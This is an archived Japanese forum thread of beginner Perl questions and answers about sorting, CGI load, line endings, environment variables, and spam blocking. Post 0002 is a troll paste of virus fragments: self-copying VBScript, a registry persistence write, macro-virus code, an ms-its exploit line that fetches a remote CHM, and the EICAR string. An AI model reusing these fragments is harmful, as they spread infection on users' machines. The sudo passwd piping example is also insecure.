くだすれPerl(超初心者用)
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
2006/09/10(日) 13:33:48ID:???もしくは質問者自身何が何だが分からない質問を勇気を持って書き込むスレッドです。
Perl使いが優しくコメントを返しますが、
お礼はPerlの布教と初心者の救済をお願いします。
0002nobodyさん
2006/09/10(日) 15:19:50ID:???If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "/" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
クソスレ立てんな
0005番組の途中ですが名無しです
2006/09/14(木) 08:48:47ID:???何を?
0006nobodyさん
2006/09/14(木) 19:58:38ID:xO9EEAPT自分のパソコン上でwebサーバーソフトを動かして、通信実験にも成功して
います。あとは、実際にレンタルサーバーを借りて、ネット上にアップするだ
けです。
ただ、CGIを介してデータをやり取りするので、データ更新が行われるのを
確認するため、定期的にwebサーバーに接続しなければなりません。これっ
て、やっぱり、結構サーバーに負荷をかけることでしょうか?
ロビーCGIは200行にも満たないプログラムで、参加者リストの管理と、
クライアント同士のゲームデータ(オセロですから、お互いに置いた石の位置
情報)のやり取りだけで、判定やルールなどゲーム本体のプログラムは全部ク
ライアントで処理します。CGIに接続するタイミングはロビーでは10秒お
き、ゲーム中は1〜2秒おきを予定してます。
cgiが置ける格安か無料サーバーに置いて、通信対戦ゲームを実現したいで
すが、このシステムでは、サーバーの負荷で設置は難しいでしょうか?
本当に、超初心者のくだすれですみませんが、どうか教えてください。
0007nobodyさん
2006/09/15(金) 02:27:16ID:???1秒おきに取りに行くとして一人ぶんのリクエストが86400リクエスト/日
全体で*平均対戦者数。
通常のhtmlで、たとえば1ページに画像やスクリプトが20個くらい張り付い
てると1ページで20リクエスト。4320ページ/日でリクエスト数は同じ。
そういうことだ。
0008nobodyさん
2006/09/15(金) 23:00:37ID:CWad1meVたた、タスクマネージャーを見ても、どこをどう見ればいいのかよく分かりま
せん。本当に超初心者で、よくわかんないのです。
リクエスト数の多さから、やっぱり設置は難しいのでしょうか。サーバー側
ではほとんど計算せず、小さなデータをやり取りしているだけなんですが・・・。
せっかく作ったので、何とかして設置したいです。
一般的なCGIゲームのリロードの間隔ってどれぐらいでしょうか?
0009nobodyさん
2006/09/15(金) 23:46:30ID:colQZo5x0010nobodyさん
2006/09/18(月) 22:10:17ID:fB7/mMBTお願いします
0011nobodyさん
2006/09/23(土) 23:15:26ID:ItJcA2cD【すぐわかるPerlのP.182】
sort{$a cmp $b} 対象の配列
sort{$b cmp $a} 対象の配列
sort{$a <=> $b} 対象の配列
sort{$b <=> $a} 対象の配列
{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます
と、言う部分なのですが、
値が等しければとか、大きければってどういう事なんですか?
$aや$bにはどんな(何の)値が入るのですか?
そもそも、値が大きい順に並ぶとか小さい順に並ぶとか
それらの値というのが、ソートされる側のファイルや配列の中に入っているレコードであるとして、
$aと$bで、昇順か降順かを判断するのなら、$aの値が$bの値よりも大きい場合、なんてありえないはずですよね?
0012nobodyさん
2006/09/24(日) 00:29:10ID:???@foo = sort { $a cmp $b } @hoge;
foreach (@foo) { print $_, "\n"; }
0014nobodyさん
2006/09/24(日) 17:12:23ID:tF4Ji0QVパスワード変更に使用するpasswdコマンドは対話型ですが、
スクリプトで実行するにはどのように書けば良いでしょうか?
以下を組みあわせて作りたいのですが。
$crypt_password
system("passwd $username");
よろしくお願いします。
001514
2006/09/24(日) 18:24:23ID:???ttp://search.luky.org/fol.2001/msg00436.html
$crypt_pass = crypt($password,"AB");
$chgpw_cmd = <<"EOF";
sudo /usr/bin/passwd $username
$crypt_pass
$crypt_pass
EOF
system("$chgpw_cmd");
結果、以下のエラーが表示されます
Error message:
malformed header from script. Bad header=Changing password for user $username
Error 500
どのように書き換えれば動くのでしょうか。
よろしくお願いします。
0016nobodyさん
2006/09/25(月) 00:15:33ID:???001711
2006/09/25(月) 17:41:25ID:V/IIhk9y?
>>13
わかりますよ。
ファイル内のレコードを、文字列や数値の大きい順、または小さい順に並べ替える事ですよね
0018nobodyさん
2006/09/26(火) 06:02:57ID:???そもそも「ファイル内のレコード」とか造語使って話されてもな。
$a <=> $bが数値の昇順、$b <=> $aが数値の逆順
sort{$a cmp $b} 対象の配列 は
sort 対象の配列 と同じで文字列の昇順
{$b cmp $a} が文字列の逆順
これを理解してるのか?
って聞かれてる
ソートの語意を知ってるか聞いてるわけじゃない。
001911
2006/09/26(火) 18:56:12ID:QXj/N9Vsそれは理解してますよ。
「レコード」というのは、ファイル内の改行までの1段落を「レコード」と呼ぶそうです。
本にそう書いてあったので。
{$b cmp $a}にしても、値の大きさで言うなら$b>$aですよね
だから、昇順にソートしたければ$aを左辺に
降順にしたければ$bを左辺にするわけで
なのに、入門書の説明では
『{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます』
と
$a<$bであるのだから、『$aが大きければ』なんて状況自体がそもそもありえないのではないでしょうか?
そこら辺で、自分はこの入門書の説明が理解できずに行き詰ってますm(_ _)m
0020nobodyさん
2006/09/26(火) 22:45:11ID:???my @sorted = sort {
print $a . "\t" . $b . "\n" ;
$a <=> $b
} qw( 5 10 3 5 4 2 1 ) ;
少くとも $a < $b なんて確定ではないことは明白。
ttp://www.ics.kagoshima-u.ac.jp/~fuchida/edu/algorithm/sort-algorithm/merge-sort.html
ここ読め。perl 5.8 以降の sort のアルゴリズムだ。
0021nobodyさん
2006/09/26(火) 23:48:31ID:8QEjX/wi直接ログファイルを見たのですがencryptで暗号化されています。
これって復元はできないので、教えることは出来ないのでしょうか?
0022nobodyさん
2006/09/27(水) 00:40:05ID:???ログファイルを直接書き換える事で任意のパスワードに変更する事はできる。
試しに適当なパスワードを付けたダミー投稿をやってみて暗号化後の文字列を確認し、
ログファイルの該当部分を書き換えてうp→新しいパスワードを通知でどうかな。
0024nobodyさん
2006/10/12(木) 00:21:32ID:Gn08F8cOたとえは、
$data[0]="\n";
$data[1]="\n";
$data[2]="ななしさん\n";
$data[3]="\n";
$data[4]="としあき\n";
として
print @data;
としたら、クライアント側では
ななしさん
としあき
と、受け取るようにしたいです。
で、自分のwindowsのパソコンでサーバーソフトのapacheを立ち上げて、ローカルで試した時はうまく行きますが、レンタルサーバ上では、"\n"は改行せず、初めから無いことになって、
ななしさんとしあき
となってしまいます。
perlを始めて3ヶ月で、いろいろ検索したのですか、よく分かりません。
どうか、改行する方法を教えてください。
0025nobodyさん
2006/10/12(木) 00:42:24ID:???002624
2006/10/12(木) 07:47:06ID:ECd/ht+A早速の返答ありがとうございます。
もう少し詳しく書かなければいけなかったのですが、cgi送られたデータはプラウザで受け取るのではなくて、HSPで作ったクライアントソフトで受け取ります。
このように、改行を含め、横一列づつに区切られた文字列型のデータはHSPのクライアント側で「ノートパッド命令」というのを使ってデータを加工したいのです。
プラウザじゃないですから、<BR>では改行できませんし、またデータが繋がったままだと、ノートパッド命令が使えず、データは加工できないのです。
自分のパソコンでサーバーソフトを立ち上げ、ローカルで試した時はうまくいくのに、レンタルサーバにあげたとたんうまく行きません。
この違いは、osのせいなのか、ネット上にあげたせいなのか、よく分かりません。
わかる人がいましたら、どうか教えてください。
0027nobodyさん
2006/10/12(木) 13:40:15ID:???改行コードはOS依存
HSPはWindowsアプリだから、改行コードがWindows固定なんじゃないかね?
Windowsは\x0d\x0aでUnix系は\x0aなので、\x0dを付け足してみたら?
0028nobodyさん
2006/10/12(木) 13:41:02ID:???レンタルサーバーがWindowsじゃなければ、の話。
0029nobodyさん
2006/10/12(木) 22:06:48ID:bEOo1KBwCPANってゆーの入れてみたんですけど
その後どうするのでしょうか?
003024
2006/10/12(木) 22:59:42ID:D35FP/7g返答ありがとうございます。
まだ試してはいませんが、原因は多分これです。
レンタルサーバのOSはUnixですし、自分のwindowsパソコンで、ローカルで試した時はちゃんと動作しましたし・・・。
早速perlを書き直します。
本当にありがとうございます。
0031nobodyさん
2006/10/12(木) 23:36:42ID:???モジュールがどういったものか理解してるのかな?
とりあえず、そのキーワードでググって一通り目を通してきてください。
003229
2006/10/14(土) 16:27:10ID:5AFK7g0oううう だいたい理解しているつもりなのですが、、、
CGI_Liteを使っている所では下記のようにでるのですが
これってうまくCGI_liteがインストールされていないということでしょうか?
[hoge@localhost member]# perl detail.cgi
Can't locate hogehogeLib.pl in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.6/i386-linux-thread-multi (略)/usr/lib/perl5/5.8.6 .) at detail.cgi line 2.
ご助力いただけますとありがたいです。
0033nobodyさん
2006/10/14(土) 16:33:46ID:???003424
2006/10/15(日) 00:08:41ID:YK613lYVださい。
自宅のwindowsパソコンでサーバソフトを動かし、ローカルで接続している時
は、環境変数HTTP_User_Agentを受け取ってくれますが、unixのレンタル
サーバー上では、HTTP_User_Agentを受け取ってくれません。
改行コードのようにOSで違いがあるのかもしれませんが、HSPクライアント
のHTTPヘッダーの記述がただしいから、サーバーに接続できるし、CGIにデー
タをちゃんと送れていると思います。
HTTP_User_Agent以外の環境変数、REMOTE_ADDRやREMOTE_HOSTはちゃんと受け
取っています。もちろん、POSTで送信したデータは、CONTENT_LENGTHに入って
います。
なぜかHTTP_User_Agentだけ、ネット上においてあるunixのレンタルサーバーに
情報が入ってきません。
もし原因が分かる方がおりましたら、どうか教えてください。
0035nobodyさん
2006/10/15(日) 00:17:49ID:???003624
2006/10/15(日) 10:44:12ID:sPLkCqaFwindowsでは、使っているクライアントやプラウザを知る環境変数は
「HTTP_User_Agent」でも動きますが、unixでは「HTTP_USER_AGENT」と
ちゃんと書かないとダメみたいです。
大文字と小文字だけで、大きな違いです。
>>35さん書き込みありがとうございます。
本当に大変お騒がせしました。
0037nobodyさん
2006/10/16(月) 16:10:49ID:1+lDbjJHdat取得するまではなんとかわかるのですが……、参考になるサイトなどはありませんか?
0039nobodyさん
2006/10/26(木) 08:21:44ID:???0041nobodyさん
2006/10/26(木) 10:32:06ID:???ローカルで結果を何回も出力させていっても自分がパンクしそうなので自動化しようと思った次第です
0043nobodyさん
2006/10/26(木) 16:14:52ID:???基本的に2chは容易に荒らしツールに転用でき得る外部からの書き込みには厳しいし
それがperlスクリプトと来てはなおさらだろう。
rep2みたいに何とかやってのけた例はあるけど(まああれはPHPだが)あれも
FOXに荒らし専用ツールと勘違いされて一時期えらい事になっていたし、
やるならdatから必要なIDをまとめて所得して処理を行い、
後はコピペするのみの形に整形したテキストを出力するスクリプトに留めた方が良いと思うよ。
0044nobodyさん
2006/10/26(木) 16:45:14ID:???0045nobodyさん
2006/10/26(木) 22:03:37ID:???ここに質問するまではそれをベースに作っていたんですが、楽にできないものかと……。
勘違いされると確かにまずいですよね、保守ツールだったらよく見かけるんですけど……。
>Perlの2ch書き込みソフト
ありがとうございます、早速探してみます。
0046nobodyさん
2006/10/27(金) 02:03:16ID:???use HTTP::Cookies;
use HTTP::Request::Common;
use HTTP::Headers;
print 'URI > '; chomp ( $entry = <> );
$entry =~ 'http://([^/]*)/([^/]*)/([^/]*)/([^/]*)/([0-9]*)';
($uriServer, $uriBbs, $uriKey, $uri) = ($1, $4, $5, "http://$1/test/bbs.cgi");
print 'MESSAGE > '; chomp ( $msg = <> );
$ua = new LWP::UserAgent;
$request = POST ($uri, [
subject => '',
FROM => '',
hana => 'mogera',
submit => '書き込む',
mail => 'sage',
MESSAGE => $msg,
bbs => $uriBbs,
key => $uriKey,
time => time]);
$request -> referer($uri);
$request -> user_agent('Monazilla/1.00');
$cookie_jar = HTTP::Cookies -> new( file => 'ume.cook', autosave => 1 );
$cookie_jar -> add_cookie_header($request);
$ua -> cookie_jar($cookie_jar);
$response = $ua -> request($request);
0047nobodyさん
2006/10/29(日) 16:12:26ID:???そのリストにあるIPにも関わらず書き込みをされるのですが,どんな原因が考えられますか?
例えば,自分のIPが200.10.10.10の場合,正規表現で指定して(200.*.*.*)もきちんと自分は拒否されます。
それなのに,いくつかすり抜けてくる迷惑書き込みは,一体どのようにしてるのでしょうか?
当然,直接そのIPを指定しても,効果がありません。(上の場合なら,200.10.10.10)
考えられるのは,�@Perlが取得するIPアドレスの関数が偽装される。←可能なんでしょうか??
�A違うCGIで直接ログファイルに書き込まれている。
というくらいしか思いつきません。
�@はともかく,�Aに関しては,プロバイダがHi-HOなので,こちらで細かいパーミッションの指定ができません。(たぶん)
他にも原因や対策がありますか?
0048nobodyさん
2006/10/29(日) 20:10:26ID:???というか2ならログファイルの名前変えてダミー置いとけば解決じゃないのか。
0049nobodyさん
2006/10/30(月) 01:09:22ID:???他のサーバからの呼び出しを蹴る様にしたら?
正規表現でやると部分一致ですり抜けたり、リファラー自体が
偽装できるんであくまで簡易的だけどね。
my $myhome = "http://www.vipper/test.cgi";
if( !$ENV{'HTTP_REFERE'} =~ /^$myhome/ ) {
#エラー処理
} else {
}
0050nobodyさん
2006/10/30(月) 03:31:49ID:???0052nobodyさん
2006/10/30(月) 21:36:17ID:???referrer
なんだけどな。
005347
2006/10/31(火) 18:03:41ID:???>48
ログファイル名変更が効果あるのは他のCGIで経験済みです。
最終手段だと思ってます。
それよりも,原因や他の技術的な対策などが知りたかったので。
言葉足らずですみません。
>49
試してみます。
0054nobodyさん
2006/10/31(火) 20:28:02ID:???0055nobodyさん
2006/10/31(火) 21:15:35ID:???0056nobodyさん
2006/10/31(火) 22:44:48ID:???0057nobodyさん
2006/11/08(水) 04:25:42ID:???s/\\/?/g;
普通にこう書くと5Cを含む2バイト文字が化けてしまいます
0058nobodyさん
2006/11/08(水) 05:28:40ID:???\Q\E
0059nobodyさん
2006/11/24(金) 00:36:56ID:67lrIFIn0060nobodyさん
2006/11/24(金) 00:46:06ID:???0062nobodyさん
2006/12/02(土) 17:26:24ID:???の間違いって
$request -> user_agent('Monazilla/1.00');
$ua -> user_agent('Monazilla/1.00');
以外にある?
このあたりだと思うんだけど
$cookie_jar = HTTP::Cookies -> new( file => 'ume.cook', autosave => 1 );
$cookie_jar -> add_cookie_header($request);
$ua -> cookie_jar($cookie_jar);
0063nobodyさん
2007/01/07(日) 08:03:18ID:???テキストに命令文を書き込んだのですが、
動作確認の仕方が分かりません。
書いたスクリプトを起動するにはどうすれば良いのでしょうか?
0064nobodyさん
2007/01/07(日) 09:40:28ID:???0065nobodyさん
2007/01/08(月) 10:40:10ID:???これからPerlのインストール方法を探しに行って来ます。
0066nobodyさん
2007/01/08(月) 13:13:18ID:???このようにホストを取得した場合
これを
aaa.bbb.ccc →*.bbb.ccc
のように
一部を隠す場合はどのようにしたらいいでしょうか?
ホストの取得方法を変えなければいけませんか?
ご教授くださいませ
0069nobodyさん
2007/01/11(木) 20:27:34ID:???マルチっぽくなってすみません。
拡張子が.plのスプリクトの動かし方を教えてください!!!
ActivePerlをインストールしたのですが、そこからどすればいいのか分かりません・・
.plファイルをダブルクリックしてもコマンドラインが一瞬でて消えるだけです・・
サーバーをレンタルしないといけないのでしょうか?
どなたか教えてください!!!
0070nobodyさん
2007/01/11(木) 22:50:22ID:???0071544
2007/01/12(金) 00:31:09ID:???コマンドプロテクトとかじゃなくて、exeファイルみたいに直感的に扱いたいです。
消防に分かるようにお願いします!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0072nobodyさん
2007/01/12(金) 03:40:35ID:???0074nobodyさん
2007/01/15(月) 22:32:53ID:h8620fdSMYSQLを使って認証とプレイヤーの成績データのdbプログラムを組んでしま
す。
マッチングも認証プログラムもdbも完成するめどがたっているんですが、
ネット上に公開するとき、サーバの負荷とか良く分かりません。
たとえば、スクリプトが大きくなるけど、一度のサーバーアクセスで全て処
理できるよう、認証・マッチング・db処理のスクリプトを一つにしたほう
がいいのでしょうか。
ほんの少しサーバのアクセス回数が増えるけど、マッチングと、認証・dbを
分けてサイズを小さくし、必要な時に必要なCGIを呼び出した方がいいので
しょうか?
本当にくだらない質問ですみません。
0075nobodyさん
2007/01/17(水) 09:50:41ID:???UNIXサーバーをレンタルしてcgiで動かす場合、通常のPerl5.8は必要なのでしょうか?
ActivePerlと共存しても大丈夫なんですが?
初歩的な質問ですみませんが、教えてくださです><
0076nobodyさん
2007/01/17(水) 13:19:17ID:???負荷を気にするならPerl CGIを選択する時点で間違い
>>75
バージョンはプログラムによる
PerlとActivePerlは共存させる必要はない
0077nobodyさん
2007/02/05(月) 22:01:41ID:Utbdeaaf本当に、何が何だが分からない質問で、すみません・・・
0078nobodyさん
2007/02/05(月) 22:08:13ID:???007977
2007/02/05(月) 22:56:56ID:Utbdeaaf返答ありがとうございます。
0080nobodyさん
2007/02/07(水) 23:15:43ID:5L64/RF4あ
い
う
え
とあって、「う」だけを表示させたいのですが、どういったプログラムになるのでしょうか?
0081nobodyさん
2007/02/07(水) 23:59:35ID:???0083nobodyさん
2007/02/08(木) 12:46:57ID:ySrCcQfcdatファイルにある3列目の文字を表示させたい。
0084nobodyさん
2007/02/08(木) 14:04:25ID:???while (<IN>){
print if($.==3);
}
close(IN);
0085nobodyさん
2007/02/08(木) 14:25:54ID:???テストしてない
0086nobodyさん
2007/02/08(木) 15:27:19ID:???0087あっこ
2007/02/08(木) 19:36:08ID:LIdpjyEohttp://docomo-camera-ne.jp/zeidoroom/20070208192740.jpg
B
http://docomo-camera-ne.jp/zeidoroom/20070208193455.jpg
ソース教えていただけませんか??
0089nobodyさん
2007/02/08(木) 20:48:25ID:???バージョンは2.9です。
print $cgi->end_form;
って入力してもプリントされないんですが・・・
009091
2007/02/08(木) 20:58:18ID:???print $cgi->end_form;
ってやると、何故か、
<div></div></form>
ってプリントされるんです。
この<div>はなんなんでしょう?入れた覚え全くないんですが・・・
0092nobodyさん
2007/02/10(土) 14:46:42ID:???このたび、アフェリエイト用のトラッキングタグを入れることになったのですが、
金額に関する変数の設定がわかりません。
cart.cgi内部の
$fee、$fee2、$SHOKEI2、$SHOKEI2、$orders
setup.cgi内部の
$j
など入れてみましたが、数値が出ません。
タグは注文の最終画面に入れ込みます。
注文IDに関してはすぐに出たのですが。。。。
エロイ方ご教授くださいませ。
0095nobodyさん
2007/02/18(日) 20:10:51ID:???このスクリプトで、ログファイルへのデータ追加時に
現在の年日時を取得して
2007/2/18 20:09
のような形式で行の末端に自動的に書き込むようにしたいのですが、
どの部分にどのような処理を加えれば良いでしょうか?
0096nobodyさん
2007/02/24(土) 08:30:18ID:vuvrJgei他の掲示板でも攻撃を受けているのをよく見かけます。
特徴としては、アルファベットのみで書き込むので、アルファベットのみの投稿の場合は
エラーにしたいのですが、そんなことは可能でしょうか?
0097nobodyさん
2007/02/24(土) 10:17:57ID:???EUC-JPだけど
# $str に ASCII 以外が含まれているか判定する
if ($str =~ /[\x8E\xA1-\xFE]/) {
print "含まれている\n";
}
引用元
http://www.din.or.jp/~ohzaki/perl.htm#JP_Exist
0098nobodyさん
2007/02/26(月) 13:07:30ID:bWsttIN4先頭行でなく最終行を取得しないとマズいことに気づいたんですが
どうすればいいでしょうか。
---------
if ($in{'ori_ie_id'} eq "admin"){
$bbs1_log_file = "./member/admin/bbs".$in{'bbs_num'}."_log.cgi";
}else{
$bbs1_log_file = "./member/$in{'ori_ie_id'}/bbs1_log.cgi";
}
open(IN,"$bbs1_log_file") || &error("Open Error : $bbs1_log_file");
# 先頭行を取得
$total_counter = <IN>;
($total_counter,$all_total_counter)= split(/<>/, $total_counter);
$top = <IN>;
local($b_num,$b_name,$b_date,$b_res,$b_count,$b_com)= split(/<>/, $top);
--------------------------
0099nobodyさん
2007/02/26(月) 16:00:02ID:???複数行の入力を取った場合配列になる。
@lines = <INPUT>;
この場合に最後の要素はこう所得できる。
$lastline = $lines[-1];
もしくはこう書いても良いだろう。
$lastline = pop(@lines);
これらの違いについてはマニュアルを嫁。
分かったら次からはエスパーじゃなくても分かる言葉で書くように。
0100nobodyさん
2007/03/07(水) 21:52:50ID:???0101nobodyさん
2007/03/22(木) 13:03:52ID:RsfMZKm1$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
として走らせたところ、スクリプトをウェブサーバを通して呼んだときと
同じサーバのコマンドラインから呼んだときで
$valueの中が変わってきてしまいます。
linuxコマンドライン:ツづ可づ卍づアツつイ
linux上ウェブサーバ:にほんご
どうしてこうなっちゃうんでしょうか・・
コマンドラインから呼んだときでも"にほんご"とする方法はありますか?
■ このスレッドは過去ログ倉庫に格納されています